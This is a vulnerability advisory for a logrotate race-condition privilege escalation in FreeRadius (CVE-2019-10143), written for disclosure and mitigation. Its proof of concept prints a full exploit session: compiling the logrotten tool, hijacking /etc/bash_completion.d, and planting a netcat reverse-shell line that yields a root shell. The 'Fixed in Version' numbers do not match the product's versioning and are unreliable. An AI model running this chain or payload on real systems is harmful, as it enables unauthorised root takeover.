FreeRadius 3.0.19 Logrotate Privilege Escalation Vulnerability

# Privilege Escalation via Logrotate in FreeRadius

## Overview
Identifier: AIT-SA-20191112-01
Target: FreeRadius
Vendor: FreeRadius
Version: all versions including 3.0.19
Fixed in Version: 12.2.3, 12.1.8 and 12.0.8
CVE: https://nvd.nist.gov/vuln/detail/CVE-2019-10143
Author: Wolfgang Hotwagner (AIT Austrian Institute of Technology)

## Summary
[FreeRadius is a modular Open-Source RADIUS suite.](https://freeradius.org/)

## Vulnerability Description
The ownership of the logdirectory "radacct" belongs to user "radiusd". User "radiusd" can elevate the privileges to "root" because of an unsafe interaction with logrotate.
User "radiusd" owns the log directory /var/log/radius/radacct:

```
drwx------. 3 radiusd radiusd 4096 26. Apr 16:01 /var/log/radius/radacct/
```
Log files rotate once a day(or any other frequency if configured) by logrotate as user root. The configuration does not use the "su" directive:

```
/var/log/radius/radacct/*/detail {
        monthly
        rotate 4
        nocreate
        missingok
        compress
}
```

Since logrotate is prone to a race-condition(see https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition) it is possible for user "radiusd" to replace the

directory /var/log/radius/radacct/logdir with a symbolic link to any directory(for example /etc/bash_completion.d). logrotate will place the compressed files AS ROOT into /etc/bash_completition.d and set the owner and group to "radiusd.radiusd". An attacker could simply place a reverse-shell into this file. As soon as root logs in, a reverse shell will be executed then.

Details of the race-condition in logrotate can be found at:

*   https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition
*   https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges
*   https://github.com/whotwagner/logrotten

## Proof of Concept
The following example illustrates how an attacker who already gained a shell as user "radiusd", can elevate his privileges to "root". After downloading and compiling, the exploit gets executed and waits until the next daily run of logrotate.  If the rotation of the log file succeeds, a new file that contains the reverse shell payload, will be written into /etc/bash_completition.d/ with owner "radiusd". As soon as root logs in, the reverse shell gets executed and opens a shell on the attackers netcat listener:

```
[email protected]:~$ git clone https://github.com/whotwagner/logrotten.git /tmp/logrotten
Cloning into '/tmp/logrotten'...
remote: Enumerating objects: 84, done.
remote: Counting objects: 100% (84/84), done.
remote: Compressing objects: 100% (58/58), done.
remote: Total 84 (delta 35), reused 64 (delta 24), pack-reused 0
Unpacking objects: 100% (84/84), done.
[email protected]:~$ mkdir -p /var/log/radius/radacct/logdir
[email protected]:~$ touch /var/log/radius/radacct/logdir/detail
[email protected]:~$ cd /tmp/logrotten && gcc -o logrotten logrotten.c
[email protected]:/tmp/logrotten$ ./logrotten -c /var/log/radius/radacct/logdir/detail
Waiting for rotating /var/log/radius/radacct/logdir/detail...
Renamed /var/log/radius/radacct/logdir/detail with /var/log/radius/radacct/logdir/detail2 and created symlink to /etc/bash_completion.d
Done!
[email protected]:/tmp/logrotten$ ls -l /etc/bash_completion.d/
total 20
-rw-r--r-- 1 root root 11144 Oct 28  2018 grub
-rw-r--r-- 1 radiusd  radiusd     33 May 12 18:44 detail.1.gz
[email protected]:/tmp/logrotten$ echo  "if [ \`id -u\` -eq 0 ]; then (/bin/nc -e /bin/bash localhost 3333 &); fi" > /etc/bash_completion.d/detail.1.gz
[email protected]:/tmp/logrotten$ nc -nvlp 3333
listening on [any] 3333 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 55526
id
uid=0(root) gid=0(root) groups=0(root)
```

## Vulnerable Versions
All versions including 3.0.19

## Tested Versions
Name : freeradius
Architecture: x86_64
Version: 3.0.13
Release: 9.el7_5

## Impact
An attacker who already achieved a valid shell as user "radiusd" could elevate the privileges to "root". The fact that another exploit is needed to get a shell lowers the severity from high to low.

## Mitigation
Add "su radiusd:radiusd" to all log sections in /etc/logrotate.d/radiusd.
By keeping SELinux in "Enforcing" mode, the "radiusd" user will be limited in the directories he can write to.

## References:
*  https://access.redhat.com/security/cve/cve-2019-10143
*  https://nvd.nist.gov/vuln/detail/CVE-2019-10143

## Vendor Contact Timeline

* `2019-05-01` Contacting RedHat
* `2019-05-07` RedHat opens issue at the vendor bugtracker
* `2019-05-23` CVE gets assigned to the issue
* `2019-05-24` FreeRadius is skeptical about the "security" impact
* `2019-11-12` Public disclosure

## Notes
This CVE is disputed because the vendor [stated that there is no known remote code execution in freeradius that allows an attacker to gain a shell as user "radiusd"]( https://freeradius.org/security/).  CVE's are not only assigned for vulnerabilities but also for exposures that allow attacker to have a stronger impact after a successful attack. Therefore we believe that it is important to file this issue as a security related bug.

## Advisory URL
https://www.ait.ac.at/ait-sa-20191112-01-privilege-escalation-via-logrotate-in-freeradius